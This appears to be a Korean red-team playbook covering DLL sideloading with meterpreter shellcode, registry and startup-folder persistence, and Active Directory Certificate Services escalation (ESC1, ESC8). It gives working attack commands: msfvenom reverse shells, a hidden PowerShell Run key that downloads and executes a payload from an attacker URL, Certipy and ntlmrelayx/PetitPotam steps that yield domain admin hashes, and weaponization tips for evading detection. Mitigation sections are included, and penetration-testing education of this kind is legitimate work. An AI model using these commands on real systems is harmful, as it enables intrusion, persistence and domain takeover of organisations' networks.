* DaumCrashHandler.dll - 공격자가 생성해낸, attach 시 쉘코드를 실행하는 프록시 DLL
* meter.bin - raw 형태의 쉘코드 파일. DaumCrashHandler.dll 가 attach이 이 쉘코드가 실행된다.
* PotPlayer.dll - PotPlayerMini.exe가 실행할 때 꼭 필요한 라이브러리

이제 이를 실행시키면 다음과 같은 형태로 코드 실행이 일어난다.

1. PotPlayerMini.exe 파일이 실행되며 LoadLibrary를 이용해 DaumCrashHandler.dll 을 로드
2. DaumCrashHandler.dll 은 attach 되는 즉시 같은 디렉토리내의 meter.bin을 읽어와 실행
3. PotPlayerMini.exe가 DaumCrashHandler.dll에서 사용하고 싶은 함수들은 모두 실제 DLL인 tmp4405.dll 에게 프록시되어 실행

암호화되지 않은, 기본적인 meterpreter 쉘코드와 인터넷에 공개되어 있는 PoC를 기반으로 실행한 DLL 사이드로딩의 결과는 다음과 같다.

![](https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-c4b4cfd3ab10ba629a5a38a43b5f4a29ba0519c7%2Fdll-sideloading.gif?alt=media)

### 작전보안과 무기화

위는 PoC 형태기 때문에 실제 작전에서 쓰이기에는 부족하다. 작전보안이나 무기화를 위해서는 다음과 같은 것들을 준비해야한다:

1. meter.bin을 파일시스템에 드랍하는 것이 아닌, 쉘코드 형태로 DaumCrashHandler.dll 안에 넣어서 실행
2. meter.bin 쉘코드를 암호화 한 뒤, 런타임 중 복호화해 실행
3. 프록시 dll인 DaumCrashHandler.dll 파일에 [LimeLighter](https://github.com/Tylous/Limelighter)등의 툴을 이용해 디지털 서명 부과
4. 메인 프로세스에 쉘코드를 로드하는 방식이 아닌 프로세스 인젝션을 통해 다른 프로세스에 인젝션
5. PotPlayerMini.exe, tmp4405.dll, DaumCrashHandler.dll, PotPlayer.dll을 타겟 호스트에 같이 드랍하기 편하도록 압축 + 암호화 진행. 이후, 초기 침투 페이로드에서 코드 실행을 이용해 압축을 풀고 복호화를 진행한 후, PotPlayerMini.exe의 창이 보이지 않도록 silent 하게 실행

### 대응 방안

DLL 사이드로딩의 경우 블루팀이 이를 막는 방법도 있지만, 근본적으로는 소프트웨어 개발자 분들이 이를 원천봉쇄해야한다. DLL manifest 파일을 생성해 정해진 이름과 해시값의 DLL만 프로그램에 로드될 수 있도록 하는 것이 좋다.

엔드 유저의 입장에서는, 어쨌든 공격자는 초기 침투 이후에 DLL 사이드로딩 기법을 사용하기 때문에 공격자에게 초기 침투 기회 자체를 제공하지 않는 것이 좋다.

더 자세한 대응 방안을 위해서는 아래 Fireeye사의 레퍼런스의 페이지 10\~11을 참고한다.

### 레퍼런스

{% embed url="<https://learn.microsoft.com/en-us/windows/win32/sbscs/about-side-by-side-assemblies->" %}

{% embed url="<https://learn.microsoft.com/en-us/windows/win32/sbscs/assembly-manifests>" %}

{% embed url="<https://redteaming.co.uk/2020/07/12/dll-proxy-loading-your-favorite-c-implant/>" %}

{% embed url="<https://github.com/ConsciousHacker/WFH>" %}

{% embed url="<https://github.com/Flangvik/SharpDllProxy>" %}

{% embed url="<https://hijacklibs.net/>" %}

{% embed url="<https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows>" %}

{% embed url="<https://www.mandiant.com/sites/default/files/2021-09/rpt-dll-sideloading.pdf>" %}


# DLL Search Order Hijacking - TODO

### 레퍼런스

{% embed url="<https://hijacklibs.net/>" %}

{% embed url="<https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows>" %}


# 레지스트리 / 스타트업 폴더

### 레지스트리

윈도우의 레지스트리 키 들 중 다음의 키 들은 유저가 로그인 할 시 자동적으로 특정 프로그램/명령어를 실행한다.

1. `HKCU\Software\Microsoft\Windows\CurrentVersion\Run`
2. `HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce`
3. `HKLM\Software\Microsoft\Windows\CurrentVersion\Run`
4. `HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce`

### 실습

레지스트리 키에 원하는 프로그램을 등록시키거나 `cmd.exe /c` 혹은 `powershell -enc -command` 등의 플래그를 이용해 명령어를 실행시키면 된다. 레지스트리 키 추가는 다음의 명령어를 이용한다.

```
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v <이름> /t REG_SZ /d <프로그램-경로>
```

#### 레지스트리 + 온디스크 미터프리터

```
# 1. 미터프리터 생성 
msfvenom -p windows/x64/meterpreter/reverse_https lhost=192.168.40.182 lport=8443 -f exe -o rev.exe

# 2. 리버스쉘을 c:\wow 에 옮기기 

# 3. 타겟의 레지스트리 키 변경 
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v <이름> /t REG_SZ /d <프로그램-경>

PS C:\Users\Administrator.CHOI> REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v safestartup /t REG_SZ /d C:\wow\rev.exe
The operation completed successfully.

# 4. 로그오프 후 다시 로그인 -> 리버스쉘 확인 
```

![](https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-c84dbd9ebb29d93d6f7bfad54689af292b503547%2Fimage.png?alt=media)

#### 레지스트리 + 인메모리 파워쉘 미터프리터

* 파워쉘을 이용한 인메모리 실행을 위해서는 `iex (new-object net.webclient).downloadstring()` 을 이용한다.
* 레지스트리 키의 길이 제한은 255자이기 때문에 이에 유의해 레지스트리 키를 생성한다.

```
# 1. 메타스플로잇 설정 
use exploit/multi/script/web_delivery
set target 2
set payload windows/x64/meterpreter/reverse_https
set lhost <ip>
set lport <port>
exploit

# 2. 타겟의 레지스트리 키 변경 - 메타스플로잇의 파워쉘 원라이너 사용 
# #1 번에서 나온 "[*] Using URL: http://192.168.40.182:8080/XXzjZN0FVh" 사용 
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v <이름> /t REG_SZ /d "<프로그램-경로>"

REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v pshstartup /t REG_SZ /d "c:\windows\system32\windowspowershell\v1.0\powershell.exe -nop -w hidden iex(New-Object net.webclient).DownloadString('http://192.168.40.182:8080/XXzjZN0FVh')"

# 3. 로그오프 -> 로그인 후 리버스쉘 확인 
```

![](https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-a49c0116f91734cb3859821b6a851819023a06f8%2Fimage.png?alt=media)

### 스타트업 폴더

스타트업 폴더는 유저가 로그인 해 세션을 구축할 시 폴더 안의 프로그램을 자동으로 실행시킨다. 공격자들은 스타트업 폴더를 이용해 매번 유저가 로그인 할 때마다 비컨/리버스쉘을 받는 등의 지속성 공격을 실행할 수 있다.

스타트업 폴더의 경로는 다음과 같다:

* `유저: C:\Users\<유저>\Appdata\Roaming\Microsoft\Windows\Start Menu\Programs\StartUp`
* `시스템: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp`

로컬 관리자 권한을 갖고 있다면 시스템 스타트업 폴더를 이용할 수 있다. 여기서 실행되는 프로세스들은 어떤 유저가 로그인 하던간에 실행된다.

### 실습

미터프리터를 생성한 뒤, 타겟 호스트의 스타트업 폴더에 미터프리터 파일을 옮긴다. 그 후 로그오프 -> 로그인을 해서 리버스쉘이 도착하는지 확인한다.

```
# 1. 미터프리터 생성 
msfvenom -p windows/x64/meterpreter/reverse_https lhost=192.168.40.182 lport=8443 -f exe -o rev.exe

# 2. 미터프리터 타겟 호스트로 전송 

# 3. 타겟 호스트에서 미터프리터를 스타트업 폴더로 복사 
cp <미터프리터 경로> 'C:\Users\<유저-이름>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\'

4. 로그오프 -> 로그인 후 리버스쉘 확인 
```

### 레퍼런스

{% embed url="<https://www.elastic.co/guide/en/security/current/startup-folder-persistence-via-unsigned-process.html>" %}

{% embed url="<https://labs.withsecure.com/blog/attack-detection-fundamentals-code-execution-and-persistence-lab-2/>" %}

{% embed url="<https://dmcxblue.gitbook.io/red-team-notes/persistence/registry-keys-startup-folder>" %}

<details>

<summary>추가 리서치 - todo</summary>

```
다음 레지스트리 키 들은 스타트업 폴더의 경로를 바꿀 수 있다. 윈도우의 기본 스타트업 폴더 경로가 아니라 다른 폴더 경로를 스타트업 폴더로 바꾸고 싶을 때 이 레지스트리에 값들을 추가한다.
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
```

</details>


# 개념

TA0004

권한 상승은 타겟 호스트나 네트워크에서 더 높은 권한을 갖기 위한 공격을 실행하는 단계다. 코드 실행, 지속성 공격, 횡적 이동을 하기 위해서는 더 많은 권한이 필요할 때가 많다. 공격자들은 이처럼 호스트 기반 권한 상승이나 네트워크 기반 권한 상승을 통해 가장 높은 수준의 권한에 도달하려고 한다. 높은 수준의 권한은 다음과 같다:

* 로컬 관리자
* SYSTEM/Root 권한
* 네트워크 관리자 - 도메인 어드민, 엔터프라이즈 어드민

### 권한 상승은 꼭 필요하지 않다?

상황에 따라 권한 상승이 100% 필요한 것은 아니다. 예를 들어 현재 있는 호스트에서 권한 상승이 불가능 하다면 다른 호스트로 횡적 이동을 한 뒤, 액티브 디렉토리 기반의 공격을 실시해 도메인 어드민 권한이 되어 모든 호스트를 장악하는 경우도 있을 수 있다.

따라서 액티브 디렉토리의 경우 공격자들이 로컬 권한 상승 공격 보다는 액티브 디렉토리 권한 상승 공격에 좀 더 집중하는 경향이 있다.

리눅스 서버들 또한 마찬가지다. 특정 서버를 장악 하고 다른 유저의 SSH 키를 찾았다면, 굳이 "root 쉘"을 딸 필요는 없다. 물론 권한 상승을 해 root 유저가 되는 것도 좋지만, 실제 공격은 CTF가 아니다. 획득한 SSH 키로 횡적 이동을 해 목표를 달성 할 수 있다면 공격자들은 굳이 로컬 호스트 권한 상승을 진행하지 않고 가장 효율적인 다른 방법들을 찾을 것이다.

네트워크 기반 권한 상승도 마찬가지다. 목표 달성이 가능하다면 굳이 도메인 어드민, 엔터프라이즈 어드민 권한을 획득할 필요는 없다. 예를 들어 PCI 데이터 유출이 목적인 APT 그룹이라면 SQL 관리자 권한만 되도 메인 데이터베이스에서 데이터 유출이 가능할 것이다. 물론 도메인 어드민이 된다면 흔적을 지운다던지 도메인 내 모든 호스트에 영향력을 행사할 수 있다. 그러나 데이터 유출만이 목적이라면, 오히려 공격을 더 진행하지 않고 탐지 확률을 최소한으로 낮춘 뒤, 데이터 유출만 하고 네트워크를 떠나는게 더 이득일 수도 있다.


# AD 권한 상승


# Active Directory Certificate Services (ADCS)

> 이 페이지와 하위 페이지들에 있는 ADCS와 관련된 개념 및 공격 방식은 모두 SpecterOps 사의 Will Schroeder 분과 Lee Christensen 분이 2021년에 작성하신 "[Ceritfied Pre-Owned](https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf)" 라는 백서를 기반으로 만들어졌습니다. 더 자세하게 알아보고 싶으신 분들은 레퍼런스 섹션의 백서를 참고해주시기 바랍니다.

### 개념

Active Directory Certificate Services (이하 ADCS) 는 마이크로소프트 사의 액티브 디렉토리 공개 키 기반구조 (Public Key Infrastructure; PKI) 구현 방법이자 서비스이다. ADCS는 액티브 디렉토리내에서 다음과 같은 기능을 갖는다:

* 공개 키 암호화
* 디지털 인증서 발급 및 관리
* 사용자 인증
* 서버 인증
* 파일 시스템 암호화

이 중 내부망 침투테스터들에게 중요하고 악용 가능한 기능은 바로 사용자 인증이다. 액티브 디렉토리에서 가장 많이 사용되는 인증 방식에는 세 가지가 있다.

* NTLM 사용자 인증: LM 혹은 NT 해시 이용
* Kerberos (커버로스) 인증: TGT, TGS 등의 티켓 이용
* ADCS 인증: 공개 키를 기반으로 한 인증서/서명서 (Certificates) 이용

NTLM 인증 방식이 relay 가 가능하고, 커버로스과 관련된 다양한 공격 방식 (커버로스팅, AS-REPRoasting, Delegation 공격 등)이 있는 것 처럼, ADCS의 또한 다양하게 인증 방식을 악용/공격할 수 있다. 공격자들은 ADCS를 통해 권한 상승 공격과 도메인/계정 지속성 공격을 할 수 있지만, 레드팀 플레이북에서는 권한 상승 공격만 정리해놓는다.

### 용어 정리

ADCS와 관련된 공격 방법을 알아보기 전 ADCS 용어들을 정리한다.

* **CA / 인증기관 (Certificate Authority):** 공개 키 기반구조의 인증서를 발급 및 관리하는 주체 (액티브 디렉토리에서는 "서버")
* **인증서 (Certificate):** 공개 키 암호 알고리즘이 적용된 인증서. 인터넷에서는 TLS/SSL, 전자상거래, 전자 서명등을 위해서 사용된다. 액티브 디렉토리에서는 사용자 인증, 코드 서명, 파일 시스템 암호화, 서버 인증 등에 사용된다. `X.509` 포멧을 이용한다.
* **인증서 양식 (Certificate Template):** 발급한 인증서들의 양식. 특정한 설정들과 정책들로 이뤄져있다.
* **인증서 서명 요청 (Certificate Signing Request):** 인증서를 발급 받기 위한 요청. 대부분 CA로 보낸다.
* **주체 (Subject):** 인증서를 발급 받는 주체
* **SAN (Subject Alternative Name):** 주체의 또 다른 이름 (alias)
* **EKU (Extended Key Usages):** 인증서 용도 (코드 서명, 파일 시스템 암호화, 이메일 암호화, 클라이언트 인증, 서버 인증, 스마트카드 로그인, 등.)
* **ESC 1 \~ 8 (Escalation (Attack) 1\~8):** "Certified Pre-Owned" 백서에서 Will Schroeder분과 Lee Christensen 이 발견한 ADCS 권한 상승 공격 방식 1\~8

### 실무 연관

액티브 디렉토리를 사용하는 회사라면 매우 높은 확률로 ADCS가 설정되어 있는 경우가 많다. 그리고 또한 안타깝게도 매우 높은 확률로 CA 서버가 잘못 설정 되어있거나, ADCS 서비스가 잘못 설정 되어 있거나, 인증서 양식이 잘못 설정 되어 있거나, 셋 다 잘못 설정(...) 되어 있는 경우가 많다.

CA 서버, ADCS 서비스, 인증서 양식 중 하나라도 잘못 설정 되어 있다면 높은 확률로 도메인 내 어떤 유저라도 몇 분 사이에 도메인 관리자 권한을 획득한 뒤 도메인 장악을 할 수 있게 된다. 따라서 안전한 내부망 네트워크를 구축하기 위해 ADCS 공격 방식과 대응 방식에 대해 알아본다.

### 정보 수집

ESC1\~8 등의 공격에 앞서 정보 수집을 먼저 실행한다. 정보 수집에는 [CrackMapExec](https://github.com/Porchetta-Industries/CrackMapExec), [Certipy](https://github.com/ly4k/Certipy), [Bloodhound](https://github.com/BloodHoundAD/BloodHound)을 사용한다.

1. 도메인 내 CA와 취약한 인증서 정보 수집

```
# 간단 CrackMpaExec 정보수집을 통해 CA 서버 알아내기 
cme ldap <dc-ip> -u <user> -p <pass> -d <domain> -M adcs  

# Certipy를 통한 ADCS 정보 수집 
$ certipy find -u <유저>@<도메인> -p '<비밀번호>' [-hashes LM:NT] -dc-ip <DC IP> -old-bloodhound -text -vulnerable -enabled

예) $ certipy find -u low@choi.local -p 'Password123!' -dc-ip 192.168.40.150 -old-bloodhound -text -vulnerable -enabled
```

2\. 일반 텍스트 버전 확인

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-6f82fcd13406e4c8244996853608b05b2787a7e7%2Fimage.png?alt=media" alt=""><figcaption><p>ESC8 에 취약하다는 것을 [!] Vulnerabilities 섹션을 통해 알려준다</p></figcaption></figure>

3\. 블러드하운드를 통해 확인

```
# Certipy git path 로 가서 customquery 가져오기 
cd <path-to-certipy> 
cp customqueries.json ~/.config/bloodhound/customqueries.json 
```

이후 Certipy 에서 만들어진 `.zip` 파일을 블러드하운드에 드래그 앤 드롭 한다. 그 뒤 Analysis 탭에서 스크롤을 쭉 내려 커스텀 쿼리들을 확인한다.

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-3d0e97ea6137309af6e29866f96f933f323907f7%2Fimage.png?alt=media" alt=""><figcaption><p>다양한 ESC 관련 커스텀 쿼리들이 왼쪽에 보인다. ESC1에 취약한 인증서 양식을 클릭해보니 오른쪽과 같이 2개가 나타난다. (SubCA 는 거짓양성 결과다)</p></figcaption></figure>

### 레퍼런스

{% embed url="<https://posts.specterops.io/certified-pre-owned-d95910965cd2>" %}

{% embed url="<https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf>" %}

{% embed url="<https://github.com/ly4k/Certipy>" %}

{% embed url="<https://github.com/BloodHoundAD/BloodHound>" %}


# ESC1

> 이 페이지와 하위 페이지들에 있는 ADCS와 관련된 개념 및 공격 방식은 모두 SpecterOps 사의 Will Schroeder 분과 Lee Christensen 분이 2021년에 작성하신 "[Ceritfied Pre-Owned](https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf)" 라는 백서를 기반으로 만들어졌습니다. 더 자세하게 알아보고 싶으신 분들은 레퍼런스 섹션의 백서를 참고해주시기 바랍니다.

### 개념

ADCS의 인증서 양식에 `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` 라는 설정이 존재한다. 이 설정이 되어있는 취약 인증서 양식은 공격자 인증서 서명 요청을 보낼 때 자신이 원하는 유저를 주체로 특정해 보낼 수 있다. 예를 들자면,

1. Choi -> CA: 저 인증서 서명 요청 드립니다. 근데 SAN (Subject Alternative Name) 특성은 choi가 아니라 `Administrator@choi.local` 이라는 도메인 관리자로 해주세요.
2. CA -> Choi: 네, 인증서 발급하겠습니다. 요청대로 SAN에는 도메인 관리자 유저 이름을 넣어서 발급해드릴게요.
3. Choi: 감사합니다. - 일반 도메인 유저에서 도메인 관리자로 권한 상승 성공.

어이가 없을 정도로 간단하고 위험한 설정이지만, 실제로 존재하는 설정이다.

### 전제 조건

1. `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` 설정 활성화
2. Manager Approval 설정 비활성화
3. Authorized Signature 설정 비활성화
4. 해당 인증서 양식에 공격자의 유저가 인증서 발급 권한 존재
5. CA 서버가 공격자의 유저에게 인증서 발급 권한을 허용

### 실습

#### ESC 1 정보 수집

Certipy 를 통해 정보 수집을 한 뒤, ESC1 에서 취약한 인증서 양식을 찾았다. Certipy 의 출력을 살펴본다.

```
Certificate Templates
  0
    Template Name                       : macUsers
    Certificate Authorities             : choi-DC01-CA
    [ ... ]
    Enrollee Supplies Subject           : True
    Certificate Name Flag               : EnrolleeSuppliesSubject
    [ ... ]
    Extended Key Usage                  : Encrypting File System
                                          Secure Email
                                          Client Authentication
    Authorized Signatures Required      : 0
    Requires Manager Approval           : False
    [ ... ]
    Permissions
      Enrollment Permissions
        Enrollment Rights               : CHOI.LOCAL\Domain Admins
                                          CHOI.LOCAL\Domain Users
                                          CHOI.LOCAL\Enterprise Admins
    [ ... ]
    [!] Vulnerabilities
      ESC1                              : 'CHOI.LOCAL\\Domain Users' can enroll, enrollee supplies subject and template allows client authentication
```

많은 정보가 있지만, ESC1 을 사용하는데 있어 필요한 전제 조건들 4개를 살펴보자.

1. `Enrollee Supplies Subject: True - CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` 설정이 활성화 되어 있다.
2. Requires Manager Approval: False - 비활성화 되어 있다.
3. Authorized Signature: 0 - 비활성화 되어 있다.
4. Enrollment Rights - `Choi.local\Domain Users` - CA 서버와 인증서 양식에 공격자의 유저 발급 권한 존재. 공격자 뿐만 아니라 도메인 유저 전체가 이 인증서 양식을 통해 도메인 관리자 인증서를 발급 받을 수 있는 상태다.

#### 공격

1. Certipy 를 이용해 원하는 타겟 유저의 이름을 SAN 으로 지정해 인증서를 발급 받는다.

```
$ certipy req -u <user> -p <pass> -ca <CA> -target <CA-FQDN> -template <취약한-양식-이름> -upn <타겟-유저> 

예) $ certipy req -u low@choi.local -p 'Password123!' -ca choi-DC01-CA -target dc01.choi.local -template macUsers -upn Administrator@choi.local -dns dc01.choi.local 
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Successfully requested certificate
[*] Got certificate with multiple identifications
    UPN: 'Administrator@choi.local'
    DNS Host Name: 'dc01.choi.local'
[*] Saved certificate and private key to 'administrator_dc01.pfx'
```

2\. 발급 받은 인증서는 유저 인증에 사용할 수 있다. 도메인 관리자의 NT 해시를 획득한다.

```
$ certipy auth -pfx <#1의 인증서 파일 이름> -dc-ip <DC-IP> 

예) $ certipy auth -pfx administrator_dc01.pfx -dc-ip 192.168.40.150                         
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Found multiple identifications in certificate
[*] Please select one:
    [0] UPN: 'Administrator@choi.local'
    [1] DNS Host Name: 'dc01.choi.local'
> 0
[*] Using principal: administrator@choi.local
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@choi.local': aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe
```

3\. 도메인 관리자의 NT 해시를 이용해 인증한다.

```
$ cme smb <DC-IP> -u Administrator -H <NThash> -d <domain>
```

### 대응 방안

* ESC1의 근본적인 문제는 특정 인증서 양식에 `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` 플래그가 활성화 되어 있다는 것이다. 이를 해결한다.
* 프로덕션 서버에서는 충분한 테스트를 거친 뒤 설정을 해제한다.
* CA 서버 > `certtmpl.msc` > 인증서 양식 오른쪽 클릭 > Properties > `Subject Name` 탭 > Supply in Request 설정 해제
* `Supply in Request` 가 꼭 필요하다면 Properties > Issuance Requirements > CA Certificate Manager Approval 을 설정해 인증서 관리자 계정이 허락을 해야 인증서가 발급되도록 바꾼다.

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-379d34092356f049b692da0ddba29d935fb4133e%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-1a0d434ced34f749895c54688b112cc30da606a4%2Fesc1.png?alt=media" alt=""><figcaption><p>CT-FLAG-ENROLLEE-SUPPLIES-SUBJECT 를 비활성화 한다</p></figcaption></figure>

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-75732db8230aacc20b2a798c49f0141380a48b7e%2Fimage.png?alt=media" alt=""><figcaption><p>Certificate Manager Approval 을 활성화 한다</p></figcaption></figure>

### 레퍼런스

{% embed url="<https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf>" %}

{% embed url="<https://github.com/ly4k/Certipy>" %}


# ESC8

### 개념

ADCS 에는 Web Enrollment 라는 웹 서비스가 존재한다. 이 웹 서비스는 유저, 스크립트, 프로그램 등이 ADCS 서비스와 편리하게 통신하기 위해 웹 서버와 HTTP 엔드포인트 등을 제공한다. 액티브 디렉토리 안의 서비스 답게 이 웹 서버는 기본적으로 NTLM 인증을 통해 사용자 인증이 가능하다 - 라는 말은 곧 NTLM Relay 공격에 취약 하다는 말이 된다.

ESC8 은 NTLM Relay 공격을 통해 피해자 유저/머신의 NTLM 인증 트래픽을 ADCS HTTP 엔드 포인트로 보낸 뒤, 피해자 유저/머신으로 인증서를 발급받아 사용자 인증 및 계정을 탈취하는 공격이다.

### 전제 조건

1. ADCS 서버에 Web Enrollment 가 설치되어 있다
2. NTLM Relay 를 시작할 수 있는 피해자 유저/머신과 취약점이 존재한다 (강제 인증, LLMNR/NBT-NS 포이즈닝, MITM6, 등)
3. Web Enrollment 웹 서버가 NTLM 인증을 허용한다 - 특별한 설정을 하지 않는 이상 기본적으로 허용한다.

### 실습

해당 실습에서는 강제 인증에 취약한 도메인 컨트롤러로부터 인증 트래픽을 받아 이를 CA 서버의 HTTP 엔드포인트에 릴레이하는 ESC8 공격을 실행한다. 이로서 공격자는 도메인 컨트롤러 머신 계정을 장악한. 도메인 컨트롤러 머신 계정은 DCSync 권한을 갖고 있기 때문에 도메인을 장악할 수 있게 된다.

> 도메인 컨트롤러 -> 강제 인증 -> 공격자 -> 릴레이 -> ADCS HTTP 엔드포인트 == 도메인 컨트롤러의 인증서 획득. 인증서를 이용해 도메인 컨트롤러로 인증 후 DCSync

#### 정보 수집

1. 먼저 CA와 CA의 Web Enrollment 가 존재하는지 Certipy 로 알아본다. `Web Enrollment: Enabled` 라면 웹서버가 활성화 되어 있는 것이다.

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-9f7e2238bd4934b883380ae7ff8a8b40d5bcb782%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

2\. 정확한 확인을 위해 GUI에서는 HTTP 엔드포인트를 브라우저로 방문하거나 curl 등을 이용한다. `401 Unauthorized` 에러 메시지가 나오면 제대로 HTTP 엔드포인트가 실행 중이라는 것이다.

```
$ curl -k http://<CA-IP>/certsrv/certfnsh.asp

$ curl -k http://192.168.40.150/certsrv/certfnsh.asp                                              
[ ... ] 
<body>
<div id="header"><h1>Server Error</h1></div>
<div id="content">
 <div class="content-container"><fieldset>
  <h2>401 - Unauthorized: Access is denied due to invalid credentials.</h2>
  <h3>You do not have permission to view this directory or page using the credentials that you supplied.</h3>
```

3\. CA 서버의 HTTP 엔드포인트로 릴레이 세팅 해놓는다. Certipy 나 NTLMRelayx 를 이용한다.

<pre><code># Certipy 
<strong>certipy relay -ca &#x3C;ca-ip> 
</strong>
# ntlmrelayx 
python3 ntlmrelayx.py -t http://&#x3C;CA-IP or FDQN>/certsrv/certfnsh.asp -smb2support --adcs --template &#x3C;template>
</code></pre>

4\. 강제 인증, LLMNR/NBT-NS, MITM6 등을 이용해 도메인 컨트롤러를 공격해 NTLM Relay 공격을 실행한다.

```
# Petitpotam - 무인증 
python3 Petitpotam.py <attacker-ip> <target-ip> 

# Petitpotam - 인증 
python3 Petitpotam.py -u <user> -p <pass> <attacker-ip> <target-ip> 

# Print Spooler (dementor.py) (https://github.com/NotMedic/NetNTLMtoSilverTicket/blob/master/dementor.py) 
python3 dementor.py -u <user> -p <pass> -d <domain> <attacker-ip> <target-ip>

```

5\. Certipy 결과

```
certipy relay -ca dc01.choi.local -template DomainController
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Targeting http://dc01.choi.local/certsrv/certfnsh.asp
[*] Listening on 0.0.0.0:445
[*] Requesting certificate for 'PCI\\DC1$' based on the template 'DomainController'
[*] Got certificate with DNS Host Name 'dc1.pci.choi.local'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'dc1.pfx'
[*] Exiting...
```

(5-1. NTLMRelayx 결과)

```
[*] Authenticating against http://192.168.40.150 as PCI/DC1$ SUCCEED                                          
[*] SMBD-Thread-7 (process_request_thread): Connection from 192.168.40.160 controlled, but there are no more targets left!
[*] Generating CSR...                                  
[*] CSR generated!                                     
[*] Getting certificate...                             
[*] GOT CERTIFICATE! ID 22                             
[*] Base64 certificate of user DC1$:                   
MIIRbQIBAzCCEScGCSqGSIb3DQEHAaCCERgEghEUMIIREDCCB0cGCSqG [ ..... ] 
```

6\. 인증서를 이용해 도메인 컨트롤러의 머신 계정을 획득한다.

```
# Certipy
certipy auth -dc-ip <dc-IP> -pfx <filename>

# NTLMRelayx 
Base64 Certificate 을 저장한다. 
$ base64 -d <base64-pfx> > real.pfx 
$ certipy auth -dc-ip <dc-IP> -pfx real.pfx 
```

### 대응 방안

> 다음의 대응 방안은 마이크로소프트사의 공식 문서를 기반으로 쓰여졌다. 더 자세한 사항은 레퍼런스 섹션의 MSDN을 참고한다.

1. ADCS HTTP 엔드포인트에 Extended Protection Authentication (EPA) 을 `Required` 로 설정한다.\
   Server Manager > IIS Manager > DC/CAXX > Sites > Default Web Site > CertSrv > Authentication 더블클릭 > Windows Authentication 오른쪽 클릭 > Advanced Settings > Extended Protection: Required

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-6a5b9d0e5fa31985af743ca5537f4bcb512c87e9%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

1-1. 그 이 SSL을 활성화 한다.

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-93d3afe6578de099f77ea49998c3b3ab169c2ac0%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

2\. 극단적으로 CA 서버에 NTLM 인증을 비활성화 한다. 프로덕션 서버의 경우 하위 호환성에 문제가 갈 수 있기 때문에 충분한 테스트를 거친 뒤 NTLM 인증을 비활성화 한다.<br>

### 레퍼런스

{% embed url="<https://support.microsoft.com/en-us/topic/kb5005413-mitigating-ntlm-relay-attacks-on-active-directory-certificate-services-ad-cs-3612b773-4043-4aa9-b23d-b87910cd3429>" %}


# Shadow Credentials


# noPac

> noPac (CVE-2021-42278 + CVE-2021-42287) 과 관련된 자세한 기술적인 정보는 블로그 글을 참고해주시기 바랍니다 - <https://blog.sunggwanchoi.com/cve-2021-42278gwa-42287-pateu-2/> .

### 개념

